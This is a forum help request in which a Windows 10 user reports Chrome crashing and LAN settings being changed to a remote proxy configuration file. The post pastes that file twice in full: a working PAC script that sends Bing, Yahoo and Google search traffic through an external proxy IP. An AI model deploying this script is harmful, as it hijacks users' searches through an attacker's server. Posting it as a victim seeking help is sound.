psychok9

Thank you for the answer... Maybe the problem will become recognized, it's weird.

I still need help. Today I've found again the change

Thank you daledoc1

p.s. on the instant (1/3s) that chrome closes, for a moment I see a screen prompt (black).

Malwarebytes (free) said that my computer is clean (also other AV competitors) but since a week Chrome close randomly suddenly and after it I found that after this action something change my lan settings with a proxy configuration file to https://localhost.world/localhost.world This is the file: function FindProxyForURL(url, host) { if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484"; if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484"; ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" } gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" } gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" } gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" } ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" } gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" } return "DIRECT";} What could be?Could you help me?Windows 10 64 bitFRST.txt Addition.txt

Hello, I don't know where is the right topic... because Malwarebytes (free) said that my computer is clean but since a week Chrome close suddenly and after it I found that after this action something change my lan settings with proxy configuration file: https://localhost.world/localhost.world function FindProxyForURL(url, host) { if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484"; if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484"; ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" } gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" } gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" } gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" } ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" } gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" } return "DIRECT";}What could be? Could you help me? Windows 10 x64, malwarebytes and another "competitor program" said me that my computer is clean. Thank you.